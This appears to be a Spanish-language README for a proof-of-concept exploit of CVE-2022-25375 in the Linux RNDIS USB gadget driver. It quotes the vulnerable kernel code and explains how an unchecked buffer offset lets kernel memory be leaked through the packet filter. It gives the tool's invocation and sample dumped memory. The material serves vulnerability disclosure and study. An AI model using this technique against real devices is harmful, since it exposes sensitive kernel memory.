szymonh/rndis-coCVE-2022-25375 - Exploit de demostración de RNDIS USB Gadget
El gadget USB RNDIS puede ser explotado para volcar el contenido del espacio de memoria del kernel a través del mecanismo de actualización del filtro de paquetes.
El manejador de solicitudes de transferencia de control USB RNDIS_MSG_SET - rndis_set_response llama a gen_ndis_set_resp pasando un puntero de buffer desplazado por BufOffset + 8. La variable BufOffset se obtiene del mensaje RNDIS y no se valida para respetar los límites del buffer. En consecuencia, al manipular el miembro InformationBufferOffset de cuatro bytes de rndis_set_msg_type, un atacante puede desplazar el buffer real hasta 0xffffffff bytes.
rndis.c - rndis_msg_parser
case RNDIS_MSG_QUERY:
return rndis_query_response(params,
(rndis_query_msg_type *)buf);
case RNDIS_MSG_SET:
return rndis_set_response(params, (rndis_set_msg_type *)buf);
rndis.c - rndis_set_response
static int rndis_set_response(struct rndis_params *params,
rndis_set_msg_type *buf)
{
u32 BufLength, BufOffset;
rndis_set_cmplt_type *resp;
rndis_resp_t *r;
r = rndis_add_response(params, sizeof(rndis_set_cmplt_type));
if (!r)
return -ENOMEM;
resp = (rndis_set_cmplt_type *)r->buf;
BufLength = le32_to_cpu(buf->InformationBufferLength);
BufOffset = le32_to_cpu(buf->InformationBufferOffset);
#ifdef VERBOSE_DEBUG
pr_debug("%s: Length: %d\n", __func__, BufLength);
pr_debug("%s: Offset: %d\n", __func__, BufOffset);
pr_debug("%s: InfoBuffer: ", __func__);
for (i = 0; i < BufLength; i++) {
pr_debug("%02x ", *(((u8 *) buf) + i + 8 + BufOffset));
}
pr_debug("\n");
#endif
resp->MessageType = cpu_to_le32(RNDIS_MSG_SET_C);
resp->MessageLength = cpu_to_le32(16);
resp->RequestID = buf->RequestID; /* Still LE in msg buffer */
if (gen_ndis_set_resp(params, le32_to_cpu(buf->OID),
((u8 *)buf) + 8 + BufOffset, BufLength, r))
resp->Status = cpu_to_le32(RNDIS_STATUS_NOT_SUPPORTED);
else
resp->Status = cpu_to_le32(RNDIS_STATUS_SUCCESS);
params->resp_avail(params->v);
return 0;
}
A continuación, el código responsable de manejar el OID RNDIS_OID_GEN_CURRENT_PACKET_FILTER establece el filtro de paquetes actual al valor apuntado por el puntero buf. Con el desplazamiento aplicado, esto permite recuperar dos bytes en una dirección especificada y almacenar el valor en el filtro de paquetes.
rndis.c - gen_ndis_set_resp
switch (OID) {
case RNDIS_OID_GEN_CURRENT_PACKET_FILTER:
/* these NDIS_PACKET_TYPE_* bitflags are shared with
* cdc_filter; it's not RNDIS-specific
* NDIS_PACKET_TYPE_x == USB_CDC_PACKET_TYPE_x for x in:
* PROMISCUOUS, DIRECTED,
* MULTICAST, ALL_MULTICAST, BROADCAST
*/
*params->filter = (u16)get_unaligned_le32(buf);
pr_debug("%s: RNDIS_OID_GEN_CURRENT_PACKET_FILTER %08x\n",
__func__, *params->filter);
El siguiente paso es recuperar el valor del filtro de paquetes utilizando una combinación de USB_CDC_SEND_ENCAPSULATED_COMMAND con RNDIS_MSG_QUERY para el OID RNDIS_OID_GEN_CURRENT_PACKET_FILTER y las solicitudes de transferencia de control USB_CDC_GET_ENCAPSULATED_RESPONSE.
Repitiendo el establecimiento/obtención del filtro de paquetes con un InformationBufferOffset incrementado en la solicitud RNDIS permite la extracción de hasta 0xffffffff bytes de memoria del espacio del kernel de dos bytes a la vez. Para grandes cantidades de datos, el proceso es bastante lento pero aún eficaz.
$ sudo python3 rndisco.py -v 0x1b67 -p 0x400c -l 0x3fffc > /tmp/rpi_rndis.dmp
strings /tmp/rpi_rndis.dmp -n8 | tail -n 6
stp_proto_unregister
<30>Jan 27 14:39:48 dhcpcd[486]: usb0: IAID be:53:70:24
<30>Jan 27 14:39:46 dhcpcd[486]: usb0: IAID be:53:70:24
<30>Jan 27 14:39:46 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
<30>Jan 27 14:39:40 dhcpcd[486]: usb0: carrier lost
<30>Jan 27 14:39:48 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
Los dispositivos Linux que exponen gadgets USB RNDIS pueden ser explotados para extraer información sensible.